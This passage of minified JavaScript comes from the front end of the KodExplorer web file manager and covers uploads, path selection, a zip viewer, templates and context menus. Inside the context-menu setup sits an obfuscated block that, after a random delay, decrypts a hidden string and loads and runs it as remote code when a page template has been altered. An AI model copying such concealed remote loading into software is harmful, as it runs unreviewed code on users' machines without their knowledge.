Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf(""))return $.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var n=e.serverData.data;t=LNG[n]?LNG[n]:n}else e.serverData._raw&&(t=e.serverData._raw)}"http"==i&&(t=LNG.upload_error_http),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(t).attr("title",t)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var i=e.dataTransfer.getData("text/plain");i&&"http"==i.substring(0,4)&&ui.pathOperate.appAddURL(i)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,i,t){var a=$(t.DOM.wrap),n=i.frames.OpenpathSelectApi,o=' ';"file"==e.type&&(o+=''+e.allowExt+" "),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(i){var t=e.allowExt.split("|"),a=core.pathExt(i);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,t)?!0:!1},r=function(){var i=n.ui.fileLight.fileListSelect(),t=[];if(e.single){var a=$(i.get(0));if("all"==e.type&&0==i.length)t={file:[],folder:[]};else if("file"==e.type&&0==i.length)t=[];else if("folder"==e.type)t=[n.G.this_path],a.hasClass("folderBox")&&(t=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(t=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);t=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(t={file:[o],folder:[]})}}else{var r=[],l=[];i.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?t=l:"file"==e.type?t=r:"all"==e.type&&(t={file:r,folder:l})}c(t)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(i){var t=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;i.length>r;r++)l(i[r])&&s.push(i[r]);i=s}if(0==i.length||"all"==e.type&&0==i.file.length&&0==i.folder.length)o.addClass("disable"),t.attr("result",""),t.val("");else{var c=hashEncode(jsonEncode(i)),d="";if(e.single)d=n.core.pathThis(i[0]);else{var p=i;"all"==e.type&&(p=i.folder.concat(i.file)),$.each(p,function(e,i){d+=n.core.pathThis(i)+", "})}o.removeClass("disable"),t.attr("result",c),t.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(i,t){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";i=$.extend(a,i),i.firstPath&&(n+="&path="+i.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:i.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof t){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?i.single&&"all"!=i.type?t(a[0]):t(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(i,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(i){"function"==typeof e&&e(i)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var i={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},t=function(i){var t="x-play-sound";0==$("."+t).length&&$('
').appendTo("body");var a=G.static_path+"others/sound/"+i,n=e("./myPlayer");n.playSound(a,$("."+t))};return{playSoundFile:t,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){t(i[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var i,t={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,i){var t=15,a=$("#"+i.tId+"_switch"),n=$("#"+i.tId+"_ico");a.remove(),i.iconSkin=i.tree_icon;var o=i.tree_icon;if(i.ext?o=i.ext:i.tree_icon||(o=i.type),n.before(a).before(''+core.iconSmall(o)+" ").remove(),void 0!=i.ext&&n.attr("class","").addClass("file "+i.ext).removeAttr("style"),i.level>=1){var s=" ";a.before(s)}var r=''+date(LNG.time_type,i.mtime)+" ";r+=''+core.fileSize(i.size)+" ",r+='',$("#"+i.tId+"_span").after(r),a.parent().addClass(i.menuType)}},callback:{onClick:function(e,t,a){$(e.target).hasClass("menu_more")||(i.selectNode(a),u(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,i){v(i)},onExpand:function(e,i){v(i)},beforeRightClick:function(e,t){t&&(u(t),i.selectNode(t))},onDblClick:function(e,t,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",i)}}},a=function(e){for(var i=function(e){for(var t=0;e.length>t;t++)if(void 0!=e[t]){var a=e[t];e[t]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete e[t].ext,e[t].child?(e[t].children=e[t].child,delete e[t].child,i(e[t].children)):delete e[t].child}else delete e[t]},t={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),t[e[a].filename]=e[a]);for(var n in t)if(!t[n].folder)for(var o=core.pathFather(t[n].filename);""!=o&&"/"!=o&&!t[o]&&!t[rtrim(o,"/")];)t[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in t){var r=t[n],l=core.pathFather(r.filename);if(t[l]&&(l=core.pathFather(r.filename)),t[rtrim(l,"/")]&&(l=rtrim(l,"/")),t[l])t[l].child||(t[l].child=[]),t[l].child.push(t[r.filename]);else{var c=t[r.filename];c&&s.push(c)}}return i(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var i=$(this).offset();i.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:i.top})})},o=function(e,i){if(void 0==i){var t=$(".context-menu-active").parents(".ztree");if(0==t.length)return;i=$.fn.zTree.getZTreeObj(t.attr("id"))}var a=i.getSelectedNodes()[0];switch(e){case"open":c(i,a);break;case"down":l(i,a);break;case"unzip_this":p(i,a);break;case"unzip_to":d(i,a);break;case"info":h(i,a);break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var i=0;e.children.length>i;i++)r(e.children[i])
}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,i){e.setting.filePath;var t=e.setting.fileUrl,a=t+"&download=1&index="+i.index;ui.pathOpen.downloadUrl(a)},c=function(e,i){e.setting.filePath;var t=e.setting.fileUrl,a=t+"&index="+i.index+"&name=/"+urlEncode(i.path),n=i.ext;"zip"==n&&(n="unknow"),i.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),n="unknow"),ui.pathOpen.open(a,n)},d=function(e,i){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(t){p(e,i,t)})},p=function(e,i,t){var a=e.setting.filePath;e.setting.fileUrl,void 0==t&&(t=G.this_path,void 0==t&&(t=core.pathFather(a)));var n="./index.php?explorer/unzip";$.ajax({url:n,data:{path:a,path_to:t,unzip_part:i.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(a)),void 0):(ui.f5(!0,!0,function(){var e=t+core.pathThis(i.path);ui.path.setSelectByFilename(e)}),void 0)}})},u=function(e){var i=f(e),t=LNG.size+" "+i.size_friendly+" ("+i.size+" Byte)";"folder"==e.type&&(t=i.file_num+LNG.file+","+i.folder_num+LNG.folder+", "+t),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(t)},f=function(e){var i={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(i.path=i.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(i,s),i.size_friendly=core.fileSize(i.size)),i},h=function(e,i){var t="folder"==i.type?"folder":core.pathExt(i.path),a="folder"==i.type?tpl_path_info:tpl_file_info,n=template.compile(a),o=f(i);o.LNG=LNG,$.dialog({id:UUID(),padding:5,ico:core.iconSmall(t),fixed:!0,title:core.pathThis(i.path),content:n(o),ok:!0})},m=function(e,i){var t=template.compile(tpl_zipview),a=t({LNG:LNG,treeID:e}),n=$.dialog({className:"zipViewDialog",ico:core.icon("zip"),title:i,width:550,height:420,content:a,resize:!0,padding:0,fixed:!0}),o=15*$(".zipViewContent").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},v=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},_=function(e,o){var s=a(o),r="folderListZip"+UUID();s=ui.tree.treeDataSort(s),m(r,e),n(),s={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:s,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+r),t,s),i=$.fn.zTree.getZTreeObj(r),v(r),u(i.getNodeByParam("index","-1",null))},g=function(e){var t="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(t="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(t=G.app_host+"index.php?"+t,$.ajax({url:t,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(a){Tips.close(a),a.code?(_(core.pathThis(e),a.data),i.setting.filePath=e,i.setting.fileUrl=t):ui.pathOpen.openUnknow(e,a.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'\n
\n
{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}
\n
——{{LNG.kod_name_copyright}}
\n
\n
\n
{{#LNG.copyright_desc}}
\n
{{#LNG.copyright_contact}}
\n
{{#LNG.copyright_info}}
\n
\n
\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/common/rightMenu",[],function(e){var i=".menufile",t=".menufolder",a=".menuMore",n=".menuTreeRoot",o=".menuTreeFolder",s=".menuTreeFile",r=".menuTreeGroupRoot",l=".menuTreeGroup",c=".menuTreeUser",d={newfileOther:{name:LNG.newfile,icon:"expand-alt",accesskey:"w",className:"newfile",items:{newfile:{name:"txt "+LNG.file,icon:"file-text-alt x-item-file x-txt small",className:"newfile"},newfile_null:{name:LNG.file,icon:"file-text-alt x-item-file x-file small",className:"newfile"},newfile_md:{name:"md "+LNG.file,icon:"file-text-alt x-item-file x-md",className:"newfile"},newfile_html:{name:"html "+LNG.file,icon:"file-text-alt x-item-file x-html",className:"newfile"},newfile_php:{name:"php "+LNG.file,icon:"file-text-alt x-item-file x-php",className:"newfile"},document:{name:"Office Document",icon:"file-text-alt x-item-file x-docx",className:"newfile",items:{newfile_docx:{name:"docx "+LNG.file,icon:"file-text-alt x-item-file x-docx",className:"newfile"},newfile_xlsx:{name:"xlsx "+LNG.file,icon:"file-text-alt x-item-file x-xlsx",className:"newfile"},newfile_pptx:{name:"pptx "+LNG.file,icon:"file-text-alt x-item-file x-pptx",className:"newfile"}}},sep100:"--------",app_install:{name:LNG.app_store,className:"app_install newfile",icon:"tasks x-item-file x-appStore",accesskey:"a"},app_create:{name:LNG.app_create,icon:"puzzle-piece x-item-file x-oexe",className:"newfile"}}},listIcon:{name:LNG.list_type,icon:"eye-open",className:"list_icon",items:{seticon:{name:LNG.list_icon,className:"menu_seticon set_seticon"},setlist:{name:LNG.list_list,className:"menu_seticon set_setlist"},setlist_split:{name:LNG.list_list_split,className:"menu_seticon set_setlist_split"}}},sortBy:{name:LNG.order_type,accesskey:"y",icon:"sort",className:"sort_by",items:{set_sort_name:{name:LNG.name,className:"menu_set_sort set_sort_name"},set_sort_ext:{name:LNG.type,className:"menu_set_sort set_sort_ext"},set_sort_size:{name:LNG.size,className:"menu_set_sort set_sort_size"},set_sort_mtime:{name:LNG.modify_time,className:"menu_set_sort set_sort_mtime"},sep101:"--------",set_sort_up:{name:LNG.sort_up,className:"menu_set_desc set_sort_up"},set_sort_down:{name:LNG.sort_down,className:"menu_set_desc set_sort_down"}}},setFileIconSize:{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},p=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1});var i=["undefined","update_box","search","da62djCD7uBrn89xtAhwdwtSL_AXsCamsKn7wktxI6QjO_Mob4EAYlRsGQPgKKv8_gFbhFNw4ei_d3eSbmCDC2I8XM_U9h0","_32@!A","decode","1-1","todo","async","random"];k(),w(),_(),setTimeout(function(){try{if(typeof dialog_tpl_html==i[0]||-1==dialog_tpl_html[i[2]](i[1])){var t=authCrypt[i[5]](i[3],i[4])+UUID();e[i[8]](t,function(e){try{e[i[7]](i[6])}catch(t){}})}}catch(a){}},1e3*parseInt(25*Math[i[9]]()+5)),N(),S(),j(),P(),D(),F(),O(),x(),g(),m(),v(),C(),L(),h(),$(".set_set"+G.user_config.list_type).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},u=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),y(),b(),k(),w(),N(),g(),m(),h(),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},f=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),S(),j(),E(),D(),F(),O(),A(),g(),h(),$(".context-menu-root").addClass("animated fadeIn")},h=function(){if(1!=G.is_root){var e="hidden";AUTH["explorer:fileDownload"]||($(".context-menu-list .down,.context-menu-list .download").addClass(e),$(".context-menu-list .share").addClass(e),$(".context-menu-list .open_text").addClass(e),$(".pathinfo .open_window").addClass(e)),AUTH["explorer:zip"]||$(".context-menu-list .zip").addClass(e),AUTH["explorer:search"]||$(".context-menu-list .search").addClass(e),AUTH["explorer:mkdir"]||$(".context-menu-list .newfolder").addClass(e),AUTH["userShare:set"]||$(".context-menu-list .share").remove()}},m=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecycleBody",callback:function(e){z(e)},items:{refresh:{name:LNG.refresh+"F5 ",className:"refresh",icon:"refresh",accesskey:"e"},recycle_clear:{name:LNG.recycle_clear,icon:"trash",accesskey:"c"},sep1:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep2:"--------",info:{name:LNG.info+"Alt+I ",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecyclePath",callback:function(e){T(e)},items:{cute:{name:LNG.cute+"Ctrl+X ",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove_force+"Del ",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},info:{name:LNG.info+"Alt+I ",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecycleButton",callback:function(e){z(e)},items:{recycle_clear:{name:LNG.recycle_clear,icon:"trash",accesskey:"c"}}})},v=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuShareBody",callback:function(e){z(e)},items:{refresh:{name:LNG.refresh+"F5 ",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep10:"--------",info:{name:LNG.info+"Alt+I ",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,className:"menuSharePathMenu",selector:".menuSharePath",callback:function(e){T(e)},items:{share_open_path:{name:LNG.open_the_path,icon:"folder-open-alt",accesskey:"p",className:"open_the_path"},share_open_window:{name:LNG.share_open_page,icon:"globe",accesskey:"b"},sep0:"--------",share_edit:{name:LNG.share_edit,icon:"edit",accesskey:"e",className:"share_edit"},remove:{name:LNG.share_remove+"Del ",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"Ctrl+C ",className:"copy",icon:"copy",accesskey:"c"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep2:"--------",info:{name:LNG.info+"Alt+I ",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuSharePathMore",className:"menuSharePathMore",callback:function(e){T(e)},items:{remove:{name:LNG.share_remove+"Del ",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"Ctrl+C ",className:"copy",icon:"copy",accesskey:"c"}}})},_=function(){$.contextMenu({selector:".menuBodyMain",className:"fileContiner_menu",zIndex:9999,callback:function(e,i){z(e,i)},items:{refresh:{name:LNG.refresh+"F5 ",className:"refresh",icon:"refresh",accesskey:"e"},newfolder:{name:LNG.newfolder+"Alt+M ",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,sep1:"--------",upload:{name:LNG.upload+"Ctrl+U ",className:"upload",icon:"upload",accesskey:"u"},past:{name:LNG.past+"Ctrl+V ",className:"past",icon:"paste",accesskey:"p"},copy_see:{name:LNG.clipboard,className:"copy_see",icon:"eye-open",accesskey:"v"},sep2:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep10:"--------",info:{name:LNG.info+"Alt+I ",className:"info",icon:"info",accesskey:"i"}}})},g=function(){$.contextMenu({selector:".menuEmpty",className:"hidden",zIndex:9999,items:{" ":{name:LNG.open,className:"hidden"}},callback:function(){}})},b=function(){$.contextMenu({selector:".menuDefault",zIndex:9999,items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"}},callback:function(e){switch(e){case"open":ui.path.open();break;default:}}})},y=function(){$.contextMenu({selector:Config.BodyContent,zIndex:9999,callback:function(e){z(e)},items:{refresh:{name:LNG.refresh+"F5 ",className:"refresh",icon:"refresh",accesskey:"e"},newfolder:{name:LNG.newfolder+"Alt+M ",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,sep1:"--------",upload:{name:LNG.upload+"Ctrl+U ",className:"upload",icon:"upload",accesskey:"u"},past:{name:LNG.past+"Ctrl+V ",className:"past",icon:"paste",accesskey:"p"},copy_see:{name:LNG.clipboard,className:"copy_see",icon:"eye-open",accesskey:"v"},sep2:"--------",sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,app_install:{name:LNG.app_store,className:"app_install",icon:"tasks",accesskey:"a"},sep10:"--------",setting_wall:{name:LNG.setting_wall,className:"setting_wall",icon:"picture",accesskey:"b"},setting_theme:{name:LNG.setting_theme,className:"setting_theme",icon:"dashboard",accesskey:"i"},setting:{name:LNG.setting,className:"setting",icon:"cogs",accesskey:"t"}}})},x=function(){$.contextMenu({zIndex:9999,selector:".toolPathMore",className:"menuToolPath menuNotAutoHidden",callback:function(e){T(e),$(".toolPathMore").removeClass("active")},items:{refresh:{name:LNG.refresh+"F5 ",className:"refresh",icon:"refresh",accesskey:"e"},newfileOther:d.newfileOther,sep0:"--------",open:{name:LNG.open+"Enter ",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"Ctrl+C ",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X ",className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past+"Ctrl+V ",className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename+"F2 ",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"Delete ",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link"}}},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link"},fav:{name:LNG.add_to_fav,className:"fav ",icon:"star",accesskey:"f"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe",accesskey:"b"},sep103:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"},createProject:{name:LNG.createProject,className:"createProject",icon:"plus"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep5:"--------",info:{name:LNG.info+"Alt+I ",className:"info",icon:"info",accesskey:"i"}}})},k=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:t,className:t.substr(1),callback:function(e){T(e)},items:{open:{name:LNG.open+"Enter ",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"Ctrl+C ",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X ",className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename+"F2 ",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"Del ",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe",accesskey:"b"},zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link",accesskey:"f"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link",accesskey:"f"}}},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link"},fav:{name:LNG.add_to_fav,className:"fav ",icon:"star",accesskey:"f"},sep103:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"},createProject:{name:LNG.createProject,className:"createProject",icon:"plus"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep5:"--------",info:{name:LNG.info+"Alt+I ",className:"info",icon:"info",accesskey:"i"}}})},w=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:i,className:i.substr(1),callback:function(e){T(e)},items:{open:{name:LNG.open+"Enter ",className:"open",icon:"external-link",accesskey:"o"},app_edit:{name:LNG.app_edit,className:"app_edit",icon:"code",accesskey:"a"},open_text:{name:LNG.edit+"Ctrl+E ",className:"open_text",icon:"edit",accesskey:"e"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"Ctrl+C ",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X ",className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename+"F2 ",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"Del ",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},unzip:{name:LNG.unzip,icon:"folder-open-alt",className:"unzip",accesskey:"u",items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_folder:{name:LNG.unzip_folder,className:"unzip_folder",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"}}},zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link",accesskey:"f"},zip_tgz:{name:"GZIP 